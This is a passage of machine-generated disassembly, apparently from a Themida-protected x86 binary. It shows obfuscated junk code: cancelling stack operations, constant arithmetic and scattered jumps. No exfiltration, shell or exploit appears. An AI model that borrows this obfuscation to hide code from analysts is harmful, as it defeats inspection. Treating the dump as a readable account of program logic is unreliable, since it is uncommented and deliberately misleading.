loc_5A941D: ; CODE XREF: Themida_:005AF6B7j
add ecx, 4
xchg ecx, [esp]
pop esp
add esp, 4
jmp loc_5A5F82
; ---------------------------------------------------------------------------
loc_5A942F: ; CODE XREF: Themida_:005A567Bj
push edx
jmp loc_59B1EB
; ---------------------------------------------------------------------------
loc_5A9435: ; CODE XREF: Themida_:005A254Bj
xor ebx, 4D689287h
jmp loc_5ACFC9
; ---------------------------------------------------------------------------
loc_5A9440: ; CODE XREF: Themida_:005A068Fj
sub eax, 0F33DE8D5h
mov esi, eax
pop eax
mov eax, esi
jmp loc_59BF86
; ---------------------------------------------------------------------------
loc_5A944F: ; CODE XREF: Themida_:0059F8EDj
or di, 7F31h
dec di
not di
jmp loc_5A27CF
; ---------------------------------------------------------------------------
loc_5A945E: ; CODE XREF: Themida_:005AE81Aj
push esi
mov esi, esp
jmp loc_5AB9F0
; ---------------------------------------------------------------------------
loc_5A9466: ; CODE XREF: Themida_:0059CBFEj
push 570Dh
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_5AFB44
; ---------------------------------------------------------------------------
loc_5A947B: ; CODE XREF: Themida_:loc_5A3E91j
add ecx, 0F1AE63ECh
jmp loc_5A721D
; ---------------------------------------------------------------------------
loc_5A9486: ; CODE XREF: Themida_:00599B3Bj
pop edx
add esi, ebx
pop ebx
push esi
mov esi, esp
sub esp, 4
mov [esp], edi
mov edi, 4
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp]
jmp loc_5A2B8E
; ---------------------------------------------------------------------------
loc_5A94A6: ; CODE XREF: Themida_:0059A4B2j
push ecx
mov edi, [esp]
add esp, 4
push edi
sub esp, 4
push 3DAAh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5A6251
; ---------------------------------------------------------------------------
loc_5A94C8: ; CODE XREF: Themida_:0059A6E6j
pop esp
shr eax, 12h
xor eax, ecx
jmp loc_5A84A7
; ---------------------------------------------------------------------------
loc_5A94D3: ; CODE XREF: Themida_:005A1FF8j
pop eax
pop ebx
jmp loc_5ABC6D
; ---------------------------------------------------------------------------
loc_5A94DA: ; CODE XREF: Themida_:005AA7F0j
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5AADA6
; ---------------------------------------------------------------------------
loc_5A94ED: ; CODE XREF: Themida_:005A8BFFj
pop esi
push ebx
push 292B3C62h
pop ebx
shr ebx, 2
jz loc_59FA6A
add ebx, 354166h
jnp loc_5992FE
push 39FEh
mov [esp], edi
mov edi, 19AC0EEh
xor ebx, edi
mov edi, [esp]
jmp loc_5AE577
; ---------------------------------------------------------------------------
loc_5A9521: ; CODE XREF: Themida_:loc_5ABE2Bj
add esi, 11BA782Dh
jnp loc_59CD67
push edi
mov edi, 12D95568h
sub edi, 1EA6469Fh
sub esi, edi
jmp loc_5A013A
; ---------------------------------------------------------------------------
loc_5A9540: ; CODE XREF: Themida_:005A5DECj
add eax, esi
sub eax, 61816184h
pop esi
push ebp
jmp loc_5A99D2
; ---------------------------------------------------------------------------
loc_5A954E: ; CODE XREF: Themida_:005A119Cj
xchg ebp, [esp]
pop esp
jmp loc_5A261D
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A29DE
; ---------------------------------------------------------------------------
loc_5A9562: ; CODE XREF: Themida_:loc_5A26C6j
; Themida_:005AFBADj
add edi, 4
xchg edi, [esp]
pop esp
add ebp, 4
push 2C50h
mov [esp], esi
mov esi, 2
sub ebp, 6642669Ch
sub ebp, esi
sub esp, 4
jmp loc_5AE2C3
; ---------------------------------------------------------------------------
loc_5A958F: ; CODE XREF: Themida_:005A37AFj
pop ecx
pop esi
add ebx, 469741E0h
sub ebx, 1F700D0Fh
add ebx, ebp
add ebx, 1F700D0Fh
push edi
mov edi, 469741E0h
sub ebx, edi
pop edi
pop ebp
xchg ebx, [esp]
pop esp
imul ecx, eax
jmp loc_59C24D
; ---------------------------------------------------------------------------
loc_5A95BB: ; CODE XREF: Themida_:00598FF3j
; Themida_:0059FA1Cj
mov eax, 0E800AE5h
push eax
inc dword ptr [esp]
pop eax
jmp loc_5A70DF
; ---------------------------------------------------------------------------
loc_5A95CA: ; CODE XREF: Themida_:005AB2A4j
and edi, 183D07FBh
neg edi
jmp loc_59D6BE
; ---------------------------------------------------------------------------
loc_5A95D7: ; CODE XREF: Themida_:005AA470j
pop eax
push 4CD6h
mov [esp], esi
push esp
pop esi
sub esp, 4
jmp loc_59E328
; ---------------------------------------------------------------------------
loc_5A95EA: ; CODE XREF: Themida_:005A7659j
push 4
jmp loc_5A90B2
; ---------------------------------------------------------------------------
loc_5A95F4: ; CODE XREF: Themida_:005AF90Cj
and ebx, 7C6F2EB9h
push ebx
dec dword ptr [esp]
pop ebx
push 27F8h
mov [esp], ebp
mov ebp, 11D87B1Ah
push esi
mov esi, 0E8BF0127h
xor ebp, esi
mov esi, [esp]
add esp, 4
add ebx, ebp
pop ebp
sub eax, 56275064h
add eax, ebx
add eax, 56275064h
pop ebx
push 2923h
mov [esp], edx
push edi
push 386Ch
jmp loc_5A6881
; ---------------------------------------------------------------------------
loc_5A9640: ; CODE XREF: Themida_:005A53F9j
sub edx, ebx
pop ebx
xor edx, 126F0722h
shr edx, 7
jmp loc_5A0312
; ---------------------------------------------------------------------------
loc_5A9651: ; CODE XREF: Themida_:005A5E0Ej
mov ebx, ecx
jmp loc_5AEA75
; ---------------------------------------------------------------------------
loc_5A9658: ; CODE XREF: Themida_:0059C84Fj
sub eax, 2BB84577h
pop esi
jmp loc_5A6FEE
; ---------------------------------------------------------------------------
loc_5A9663: ; CODE XREF: Themida_:005AFADBj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A9668: ; CODE XREF: Themida_:loc_5AF557j
shl edi, 8
jns loc_59FCD5
jmp loc_5AA171
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_5ACD3C
; ---------------------------------------------------------------------------
loc_5A9686: ; CODE XREF: Themida_:0059F335j
xor eax, ecx
push 7587h
mov [esp], eax
push 29FEh
mov [esp], edi
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], eax
mov eax, 4
jmp loc_59D2A4
; ---------------------------------------------------------------------------
loc_5A96B4: ; CODE XREF: Themida_:005A2D60j
mov ecx, 0AB460AD5h
add ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5A036E
; ---------------------------------------------------------------------------
loc_5A96C6: ; CODE XREF: Themida_:005A45C8j
sub esp, 4
mov [esp], eax
mov eax, 5A533ED3h
add edi, 0D1D1434h
sub edi, eax
sub edi, 0D1D1434h
mov eax, [esp]
add esp, 4
pop ebp
xchg edi, [esp]
jmp loc_5A395B
; ---------------------------------------------------------------------------
loc_5A96EE: ; CODE XREF: Themida_:005A9E90j
pop ebp
add ebx, 29C46E1Bh
add ebx, esi
sub ebx, 29C46E1Bh
jmp loc_5AFB55
; ---------------------------------------------------------------------------
loc_5A9702: ; CODE XREF: Themida_:005A3CE5j
pop ebp
jmp loc_5AB451
; ---------------------------------------------------------------------------
loc_5A9708: ; CODE XREF: Themida_:005A3D53j
add eax, 4
jmp loc_5A3667
; ---------------------------------------------------------------------------
loc_5A9712: ; CODE XREF: Themida_:005A6109j
push 6336h
jmp loc_59BF5E
; ---------------------------------------------------------------------------
loc_5A971C: ; CODE XREF: Themida_:005A80C2j
mov eax, 2F8A4F0Ah
sub dword ptr [esp+8], 7EDC5AA0h
add [esp+8], eax
jmp loc_5A268C
; ---------------------------------------------------------------------------
loc_5A9732: ; CODE XREF: Themida_:005AA8D1j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_59E3CD
; ---------------------------------------------------------------------------
loc_5A9749: ; CODE XREF: Themida_:0059A6A1j
push edx
mov edx, 4
add ecx, edx
jmp loc_59EA57
; ---------------------------------------------------------------------------
loc_5A9756: ; CODE XREF: Themida_:005A1C69j
sub al, 0C9h
pop dx
sub al, bl
push dx
jmp loc_5AF5D7
; ---------------------------------------------------------------------------
loc_5A9763: ; CODE XREF: Themida_:0059F8B3j
pop esi
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 21D60E2Dh
dec eax
inc eax
jle loc_5A2759
shr eax, 6
jmp loc_59D1FA
; ---------------------------------------------------------------------------
loc_5A978B: ; CODE XREF: Themida_:005AC3F7j
add esi, 28986918h
add esi, 3E625214h
sub esi, ebp
push ebx
mov ebx, 28915DF1h
xor ebx, 16F30FE5h
sub esi, ebx
pop ebx
sub esi, 28986918h
pop ebp
pop eax
push 312Bh
mov [esp], ecx
jmp loc_5A4497
; ---------------------------------------------------------------------------
loc_5A97BD: ; CODE XREF: Themida_:00598B7Aj
; Themida_:loc_5A4136j
sub ebx, 3BED5547h
add ebx, ebp
jmp loc_5AA31C
; ---------------------------------------------------------------------------
loc_5A97CA: ; CODE XREF: Themida_:0059A647j
inc ecx
jle loc_599FB8
sub ecx, 0B74A92D7h
mov esi, ecx
pop ecx
and cl, 4Dh
push edi
loc_5A97DE: ; CODE XREF: Themida_:0059B520j
mov [esp], dx
mov dl, 7Fh
push ecx
mov cl, 9Dh
or cl, 54h
inc cl
add cl, 3Bh
sub bl, cl
jmp loc_5A3527
; ---------------------------------------------------------------------------
loc_5A97F6: ; CODE XREF: Themida_:005ABF14j
push edx
mov edx, esp
add edx, 4
jmp loc_5A8993
; ---------------------------------------------------------------------------
loc_5A9804: ; CODE XREF: Themida_:005A8BC8j
push edi
jmp loc_59DD75
; ---------------------------------------------------------------------------
loc_5A980A: ; CODE XREF: Themida_:005A8E09j
push edx
jmp loc_5ABB48
; ---------------------------------------------------------------------------
loc_5A9810: ; CODE XREF: Themida_:005AA01Bj
; Themida_:loc_5AA0F2j
or ebp, 6D3B3F23h
jmp loc_5A6100
; ---------------------------------------------------------------------------
loc_5A981B: ; CODE XREF: Themida_:005A5CB2j
mov [esp], ecx
jmp loc_5A1222
; ---------------------------------------------------------------------------
loc_5A9823: ; CODE XREF: Themida_:0059EC12j
shr edx, 1
jmp loc_5A63B4
; ---------------------------------------------------------------------------
loc_5A982A: ; CODE XREF: Themida_:0059F504j
mov eax, 2
sub edi, eax
jmp loc_5A3E5E
; ---------------------------------------------------------------------------
loc_5A9836: ; CODE XREF: Themida_:0059E9ADj
add esi, 113E3F7Eh
pop ecx
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
push 51D4h
mov [esp], edx
mov edx, 0
mov ebx, edx
pop edx
jmp loc_59BF86
; ---------------------------------------------------------------------------
loc_5A9861: ; CODE XREF: Themida_:005ACF06j
add esp, 4
xor edi, [esp]
xor [esp], edi
jmp loc_5A0585
; ---------------------------------------------------------------------------
loc_5A986F: ; CODE XREF: Themida_:005A5DB4j
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_59A009
; ---------------------------------------------------------------------------
loc_5A9884: ; CODE XREF: Themida_:005A9CB7j
add esp, 4
push ebp
mov ebp, 65964AC5h
push eax
jmp loc_5A90CB
; ---------------------------------------------------------------------------
loc_5A9896: ; CODE XREF: Themida_:005ACD69j
; Themida_:005AF63Dj
add esi, 843769Eh
push eax
mov eax, esp
add eax, 4
jmp loc_598A29
; ---------------------------------------------------------------------------
loc_5A98A9: ; CODE XREF: Themida_:0059E60Fj
sub esp, 2
mov [esp], bx
push 423Ah
mov [esp], edx
jmp loc_5A5CAD
; ---------------------------------------------------------------------------
loc_5A98C0: ; CODE XREF: Themida_:loc_59FE0Ej
jmp loc_59CC12
; ---------------------------------------------------------------------------
loc_5A98C5: ; DATA XREF: Themida_:005987CCo
mov ax, fs:[edx]
jmp loc_5A795A
; ---------------------------------------------------------------------------
loc_5A98CE: ; CODE XREF: Themida_:005A6BAAj
mov ebp, 41B14184h
add edi, ebp
jmp loc_59E3A8
; ---------------------------------------------------------------------------
loc_5A98DA: ; CODE XREF: Themida_:005A4131j
not dh
add dh, 0Ch
jb loc_5A8A6C
and dh, 0F2h
or dh, 0C2h
jp loc_5AB747
not dh
xor dh, 0C8h
push ebx
push eax
mov al, dh
jmp loc_59F58C
; ---------------------------------------------------------------------------
loc_5A98FF: ; CODE XREF: Themida_:0059A3C1j
mov [esp], edx
push eax
mov eax, 0AB826E9h
mov edx, eax
pop eax
shr edx, 6
jmp loc_5A05C1
; ---------------------------------------------------------------------------
loc_5A9913: ; CODE XREF: Themida_:005A7BACj
pop ecx
jmp loc_5A3D85
; ---------------------------------------------------------------------------
loc_5A9919: ; CODE XREF: Themida_:0059AD91j
add esp, 4
jmp loc_5A0661
; ---------------------------------------------------------------------------
loc_5A9921: ; CODE XREF: Themida_:0059F823j
add esi, eax
jmp loc_59A055
; ---------------------------------------------------------------------------
loc_5A9928: ; CODE XREF: Themida_:005A8264j
mov eax, ecx
push eax
jmp loc_5AE310
; ---------------------------------------------------------------------------
loc_5A9930: ; CODE XREF: Themida_:005A84E3j
; Themida_:005AD360j
push esp
jmp loc_599EAA
; ---------------------------------------------------------------------------
loc_5A9936: ; CODE XREF: Themida_:005A40F5j
dec bh
jmp loc_5A4D09
; ---------------------------------------------------------------------------
loc_5A993D: ; CODE XREF: Themida_:loc_5A11A1j
dec esi
jg loc_5ABE2B
jmp loc_599A46
; ---------------------------------------------------------------------------
mov [esp], ebx
mov bh, bl
push eax
loc_5A994F: ; CODE XREF: Themida_:005AB4ADj
push esi
sub esp, 4
mov [esp], ebp
mov ebp, 3231321Dh
xor [esp+4], ebp
pop ebp
jmp loc_5AEE28
; ---------------------------------------------------------------------------
loc_5A9965: ; CODE XREF: Themida_:005A7483j
mov [esp], ebx
push 0A1A7F69h
pop ebx
shl ebx, 2
push eax
jmp loc_5AA962
; ---------------------------------------------------------------------------
loc_5A9977: ; CODE XREF: Themida_:00598FD2j
push esi
mov esi, 69FD2937h
not esi
jmp loc_598CA9
; ---------------------------------------------------------------------------
loc_5A9984: ; CODE XREF: Themida_:005ACF4Bj
jmp loc_5AAB0C
; ---------------------------------------------------------------------------
loc_5A9989: ; CODE XREF: Themida_:005AEF8Fj
xor esi, [esp]
mov esp, [esp]
jmp loc_5A7189
; ---------------------------------------------------------------------------
loc_5A9994: ; CODE XREF: Themida_:00599376j
pop ebx
push esi
push ebx
mov ebx, 15071E1Bh
push ebx
jmp loc_5AEB0D
; ---------------------------------------------------------------------------
loc_5A99A2: ; CODE XREF: Themida_:0059CD48j
mov ebx, 542C13B1h
xor edx, ebx
pop ebx
jmp loc_5AFA55
; ---------------------------------------------------------------------------
loc_5A99AF: ; CODE XREF: Themida_:005AB2D5j
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
jmp loc_59BC7A
; ---------------------------------------------------------------------------
loc_5A99C0: ; CODE XREF: Themida_:0059955Ej
push edx
push esi
jmp loc_5A5CF5
; ---------------------------------------------------------------------------
loc_5A99C7: ; CODE XREF: Themida_:loc_5A61E8j
add esi, 58BD57FAh
jmp loc_5AD0F3
; ---------------------------------------------------------------------------
loc_5A99D2: ; CODE XREF: Themida_:005A9549j
mov ebp, 2EE2898Dh
jmp loc_59A7D5
; ---------------------------------------------------------------------------
loc_5A99DC: ; CODE XREF: Themida_:0059B207j
; Themida_:005AC753j
sub edi, 1
sub esp, 4
jmp loc_5A91FC
; ---------------------------------------------------------------------------
loc_5A99EA: ; CODE XREF: Themida_:005A51D4j
push 5E42h
mov [esp], ecx
jmp loc_5A533E
; ---------------------------------------------------------------------------
loc_5A99F7: ; CODE XREF: Themida_:005A01D1j
or esi, 245A1737h
shr esi, 5
sub esi, 13FF3FBh
jmp loc_5A619C
; ---------------------------------------------------------------------------
loc_5A9A0B: ; CODE XREF: Themida_:005A6FCEj
; Themida_:005A7607j
sub esp, 4
mov [esp], edx
mov edx, 2Ch
jmp loc_5AEF1B
; ---------------------------------------------------------------------------
loc_5A9A1E: ; CODE XREF: Themida_:loc_5A1C0Bj
add ebx, 6588C861h
mov ebp, ebx
jmp loc_5AAC0B
; ---------------------------------------------------------------------------
loc_5A9A2B: ; CODE XREF: Themida_:005A43C9j
push ebx
mov bh, 0D0h
xor bh, 0Eh
or cl, bh
pop ebx
sub cl, 0FFh
add cl, 38h
jmp loc_59F215
; ---------------------------------------------------------------------------
loc_5A9A3F: ; CODE XREF: Themida_:0059CB64j
add esp, 4
push edx
mov edx, 143D16CFh
sub edx, 0F724A1h
jmp loc_5AD0C1
; ---------------------------------------------------------------------------
loc_5A9A53: ; CODE XREF: Themida_:0059BACDj
mov edi, 4
jmp loc_5A9F12
; ---------------------------------------------------------------------------
loc_5A9A5D: ; CODE XREF: Themida_:0059FD25j
add dword ptr [esp+4], 1F7C7080h
sub [esp+4], eax
jmp loc_5ACB9C
; ---------------------------------------------------------------------------
loc_5A9A6E: ; CODE XREF: Themida_:005A6F92j
mov edi, esp
add edi, 4
jmp loc_59EB3B
; ---------------------------------------------------------------------------
loc_5A9A7B: ; CODE XREF: Themida_:005ADC68j
pop esp
jmp loc_5AE0E0
; ---------------------------------------------------------------------------
loc_5A9A81: ; CODE XREF: Themida_:0059DFF9j
add esp, 4
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A36D7
; ---------------------------------------------------------------------------
loc_5A9A95: ; CODE XREF: Themida_:005AD80Bj
inc dx
sub esp, 2
mov [esp], bp
mov bp, 793Ah
or dx, bp
pop bp
jmp loc_5A8389
; ---------------------------------------------------------------------------
loc_5A9AAC: ; CODE XREF: Themida_:005A70A1j
mov edi, 45387BACh
sub edi, 6F1855EAh
jmp loc_5A871E
; ---------------------------------------------------------------------------
loc_5A9ABC: ; CODE XREF: Themida_:005A934Cj
pop esi
jmp loc_5A1672
; ---------------------------------------------------------------------------
loc_5A9AC2: ; CODE XREF: Themida_:005A0A1Ej
pop edx
add bl, cl
sub bl, 59h
pop cx
movzx eax, al
push small 3A5Ah
mov [esp], ax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A9ADA: ; CODE XREF: Themida_:005AF832j
sub edi, 4
push edi
jmp loc_59B1C5
; ---------------------------------------------------------------------------
loc_5A9AE6: ; CODE XREF: Themida_:0059D9C9j
xchg edi, [esp]
jmp loc_5AD87D
; ---------------------------------------------------------------------------
loc_5A9AEE: ; CODE XREF: Themida_:005AB686j
xchg ecx, [esp]
pop esp
mov [esp], ax
jmp loc_5A53E6
; ---------------------------------------------------------------------------
loc_5A9AFB: ; CODE XREF: Themida_:005AAD8Fj
push eax
mov eax, 37FD59DEh
shl eax, 6
jnp loc_5AC4A0
inc eax
jp loc_59D193
mov edx, ecx
pop esi
loc_5A9B14: ; CODE XREF: Themida_:loc_599059j
; Themida_:0059E1B9j
shr dl, 2
dec dl
jmp loc_5A79EC
; ---------------------------------------------------------------------------
loc_5A9B1E: ; CODE XREF: Themida_:005A4C7Ej
push eax
push ebp
push 73DC1BADh
jmp loc_59E142
; ---------------------------------------------------------------------------
loc_5A9B2A: ; CODE XREF: Themida_:00599114j
add esi, 4
jmp loc_5AEACE
; ---------------------------------------------------------------------------
loc_5A9B35: ; CODE XREF: Themida_:005A4319j
push esp
pop edi
push 53Eh
mov [esp], eax
mov eax, 4
add edi, eax
mov eax, [esp]
add esp, 4
push eax
mov eax, 5FC213D8h
jmp loc_59C615
; ---------------------------------------------------------------------------
loc_5A9B57: ; CODE XREF: Themida_:005AF815j
sub ecx, 7C9DA0E2h
mov ebp, ecx
pop ecx
jmp loc_5ADDDD
; ---------------------------------------------------------------------------
loc_5A9B65: ; CODE XREF: Themida_:0059E498j
pop ebx
mov [eax], ecx
pop eax
pop ecx
jmp loc_59E7BE
; ---------------------------------------------------------------------------
loc_5A9B6F: ; CODE XREF: Themida_:0059B952j
push edx
mov edx, 40544ABEh
or edx, 7E5D1BFBh
shl edx, 2
shr edx, 5
jmp loc_5A45E7
; ---------------------------------------------------------------------------
loc_5A9B86: ; CODE XREF: Themida_:0059CEB8j
mov edx, 61B9649Ch
mov ecx, 61B9649Dh
sub ecx, edx
jmp loc_5A0115
; ---------------------------------------------------------------------------
loc_5A9B97: ; CODE XREF: Themida_:005AE6B1j
and ecx, 1B73484Ah
ja loc_59B552
inc ecx
jg loc_59BAC5
jmp loc_5AC64A
; ---------------------------------------------------------------------------
loc_5A9BAF: ; CODE XREF: Themida_:loc_5A28D2j
push edx
mov edx, 71682ABDh
xor esi, edx
mov edx, [esp]
add esp, 4
mov ebp, esi
pop esi
push ebp
mov ebp, 3C345579h
mov eax, 32890D0Dh
jmp loc_5A0C25
; ---------------------------------------------------------------------------
loc_5A9BD0: ; CODE XREF: Themida_:0059BA19j
push eax
jmp loc_5ABB8B
; ---------------------------------------------------------------------------
loc_5A9BD6: ; CODE XREF: Themida_:005A6941j
jmp loc_5AABF1
; ---------------------------------------------------------------------------
loc_5A9BDB: ; CODE XREF: Themida_:0059E3C1j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A9BE0: ; CODE XREF: Themida_:005A00C7j
add edi, 46EF22A9h
and edi, 4C874AFAh
jnz loc_5AD571
or edi, 183F156Dh
sub al, 40h
mov dh, 0E7h
loc_5A9BFC: ; CODE XREF: Themida_:0059E7ADj
pop edx
add ebx, ebp
sub esp, 4
mov [esp], edi
mov edi, 42090643h
add ebx, edi
jmp loc_5AD9D1
; ---------------------------------------------------------------------------
loc_5A9C14: ; CODE XREF: Themida_:005AA67Bj
mov ebx, [esp]
push eax
jmp loc_5ADDB1
; ---------------------------------------------------------------------------
loc_5A9C1D: ; CODE XREF: Themida_:005995CDj
add eax, ebx
pop ebx
mov ebp, eax
mov eax, [esp]
push 27F9h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edx
jmp loc_599E8D
; ---------------------------------------------------------------------------
loc_5A9C3B: ; CODE XREF: Themida_:0059A8EFj
; Themida_:005AE6BDj
inc eax
jmp loc_598B90
; ---------------------------------------------------------------------------
loc_5A9C41: ; CODE XREF: Themida_:005A3DE9j
mov ebp, 5317151Fh
shl ebp, 3
jp loc_5A8488
not ebp
xor ebp, 3BE66E6Ah
sub ebp, 3D9EF6FDh
mov edx, ebp
pop ebp
add edx, 4EE26D5Ah
shl edx, 6
add edx, 1A597210h
shl edx, 1
jmp loc_59D270
; ---------------------------------------------------------------------------
loc_5A9C76: ; CODE XREF: Themida_:0059951Dj
mov edi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
jmp loc_5A4377
; ---------------------------------------------------------------------------
loc_5A9C8F: ; CODE XREF: Themida_:0059A084j
mov [esp], ebp
push ebx
push 6BBE1B1Bh
jmp loc_5AC96F
; ---------------------------------------------------------------------------
loc_5A9C9D: ; CODE XREF: Themida_:005AC148j
sub esp, 4
mov [esp], ebx
push 4C3A0E11h
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_5A9884
; ---------------------------------------------------------------------------
loc_5A9CBC: ; CODE XREF: Themida_:005A705Dj
pop ebx
add al, ch
jmp loc_5ACE1A
; ---------------------------------------------------------------------------
loc_5A9CC4: ; CODE XREF: Themida_:0059A1C6j
jns loc_599F4B
or edi, 438336Ch
jmp loc_5A5F56
; ---------------------------------------------------------------------------
loc_5A9CD5: ; CODE XREF: Themida_:0059D280j
inc eax
shr eax, 8
and eax, 5E0B0DD4h
neg eax
xor eax, 0B646ED29h
sub ebp, eax
mov eax, [esp]
jmp loc_5A2C5C
; ---------------------------------------------------------------------------
loc_5A9CEF: ; CODE XREF: Themida_:0059B2BCj
push esp
pop ecx
push edx
mov edx, 4
add ecx, 492F74D9h
add ecx, edx
sub ecx, 492F74D9h
jmp loc_5AF6BC
; ---------------------------------------------------------------------------
loc_5A9D0A: ; CODE XREF: Themida_:005AE14Cj
sub esi, 6B604F99h
jnp loc_59C8ED
xor esi, 0B4A6D0E3h
mov edx, esi
pop esi
sub ebx, edx
jmp loc_5AB766
; ---------------------------------------------------------------------------
loc_5A9D26: ; CODE XREF: Themida_:0059E72Fj
jo loc_5A0D01
neg eax
jl loc_59DB02
xor eax, 67A1525Eh
xor eax, 23F25F76h
mov esi, eax
pop eax
jmp loc_5A2C21
; ---------------------------------------------------------------------------
loc_5A9D46: ; CODE XREF: Themida_:0059BD32j
sub eax, 166932F1h
sub eax, 645014E4h
xor [eax], ebx
pop eax
jmp loc_5A65A2
; ---------------------------------------------------------------------------
loc_5A9D58: ; CODE XREF: Themida_:005A7D95j
add esp, 4
add ebp, 4
jmp loc_59EB06
; ---------------------------------------------------------------------------
loc_5A9D66: ; CODE XREF: Themida_:005AC389j
xchg ecx, [esp]
jmp loc_5AF8FB
; ---------------------------------------------------------------------------
loc_5A9D6E: ; CODE XREF: Themida_:005AEB21j
push ebx
mov ebx, 74A97845h
mov ecx, ebx
pop ebx
push ebx
mov ebx, 78316A1Dh
jmp loc_5AB0F6
; ---------------------------------------------------------------------------
loc_5A9D82: ; CODE XREF: Themida_:005A75E9j
neg ebx
xor ebx, 84E432BBh
sub ecx, ebx
pop ebx
jmp loc_5A1517
; ---------------------------------------------------------------------------
loc_5A9D92: ; CODE XREF: Themida_:005A012Cj
push ebp
push ebx
mov ebx, 1BFCDCDEh
mov ebp, ebx
pop ebx
add ecx, ebp
mov ebp, [esp]
jmp loc_59C660
; ---------------------------------------------------------------------------
loc_5A9DA6: ; CODE XREF: Themida_:0059D91Dj
sub ecx, eax
pop eax
sub ecx, 1746197Dh
xor ecx, 6F33417h
sub eax, ecx
pop ecx
add eax, ecx
push ebx
mov ebx, 438194Ch
inc ebx
jmp loc_5ADB49
; ---------------------------------------------------------------------------
loc_5A9DC6: ; CODE XREF: Themida_:005AA712j
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4
push edx
mov edx, 4
jmp loc_5AF92B
; ---------------------------------------------------------------------------
loc_5A9DE2: ; CODE XREF: Themida_:loc_5A4F0Bj
not eax
add eax, 0CE517951h
push 0
jmp loc_5A2B37
; ---------------------------------------------------------------------------
loc_5A9DF3: ; CODE XREF: Themida_:0059B5C9j
xor ebp, 3E107345h
xor ebp, 76753226h
add eax, 3BDA60FBh
add eax, ebp
sub eax, 3BDA60FBh
pop ebp
xchg eax, [esp]
mov esp, [esp]
jmp loc_5AC7C2
; ---------------------------------------------------------------------------
loc_5A9E17: ; CODE XREF: Themida_:005AA901j
push ecx
mov ecx, 5CB513A3h
mov ebx, ecx
jmp loc_5A1AA9
; ---------------------------------------------------------------------------
loc_5A9E24: ; CODE XREF: Themida_:005AAEF4j
push ebp
mov ebp, 4
sub edi, ebp
jmp loc_5AE9C7
; ---------------------------------------------------------------------------
loc_5A9E31: ; CODE XREF: Themida_:0059B7E4j
push ecx
mov cl, 0CDh
mov dl, cl
pop ecx
add dl, 9
or dl, 55h
push eax
mov al, 3Eh
xor dl, al
pop eax
sub al, dl
pop edx
sub al, 93h
pop ecx
mov cx, [esp]
jmp loc_59D31F
; ---------------------------------------------------------------------------
loc_5A9E52: ; CODE XREF: Themida_:00598E40j
xor esi, 0E979A08Bh
add ebx, esi
pop esi
add ebx, edi
sub ebx, 2CF9209Ah
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 4A890CEAh
xor ebp, 58CC2D4Fh
or ebp, 2E9A0315h
inc ebp
not ebp
sub ebp, 0C120DC45h
mov esi, ebp
jmp loc_5A96EE
; ---------------------------------------------------------------------------
loc_5A9E95: ; CODE XREF: Themida_:005A88D6j
sub edi, ecx
jmp loc_5A68BA
; ---------------------------------------------------------------------------
loc_5A9E9C: ; CODE XREF: Themida_:0059A60Aj
add esp, 4
pop dword ptr [esp]
jmp loc_5AD435
; ---------------------------------------------------------------------------
loc_5A9EA7: ; CODE XREF: Themida_:005ACF88j
mov ebp, 317E7D49h
sub esp, 4
mov [esp], ebp
add dword ptr [esp], 0FFFFFFFFh
jmp loc_598CDF
; ---------------------------------------------------------------------------
loc_5A9EC1: ; CODE XREF: Themida_:005A331Fj
mov edx, edi
pop edi
pop esi
add [esp+8], edx
pop edx
add [esp+4], ebp
sub dword ptr [esp+4], 1C6E2218h
pop ebp
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A9EDC: ; CODE XREF: Themida_:0059C830j
; Themida_:005AC524j
mov edx, 473019Ah
not edx
and edx, 0BB819AEh
sub edx, 771D4890h
sub edx, 0B4A82C7Ch
sub ebx, edx
jmp loc_5A1B43
; ---------------------------------------------------------------------------
loc_5A9EFC: ; CODE XREF: Themida_:005A7D1Fj
push ebp
push eax
mov eax, 4
mov ebp, eax
jmp loc_5ADCAF
; ---------------------------------------------------------------------------
loc_5A9F0A: ; CODE XREF: Themida_:0059A29Aj
mov ecx, [esp]
jmp loc_59F4E4
; ---------------------------------------------------------------------------
loc_5A9F12: ; CODE XREF: Themida_:005A9A58j
add edx, edi
pop edi
jmp loc_5A6A6C
; ---------------------------------------------------------------------------
loc_5A9F1A: ; CODE XREF: Themida_:005A79C2j
mov esp, [esp]
mov [esp], edx
push edx
mov edx, 0B0A45C8h
add [esp+4], edx
pop edx
pop dword ptr [edi+20h]
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_59D59C
; ---------------------------------------------------------------------------
loc_5A9F3F: ; CODE XREF: Themida_:005A1ED6j
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A6D91
; ---------------------------------------------------------------------------
loc_5A9F4A: ; CODE XREF: Themida_:005A9F95j
mov [esp], ebp
mov ebp, 787B0407h
add esi, ebp
pop ebp
jmp loc_5A46DC
; ---------------------------------------------------------------------------
loc_5A9F5A: ; CODE XREF: Themida_:005993F7j
add esi, 3C21517Bh
sub esi, 3D24349Bh
pop eax
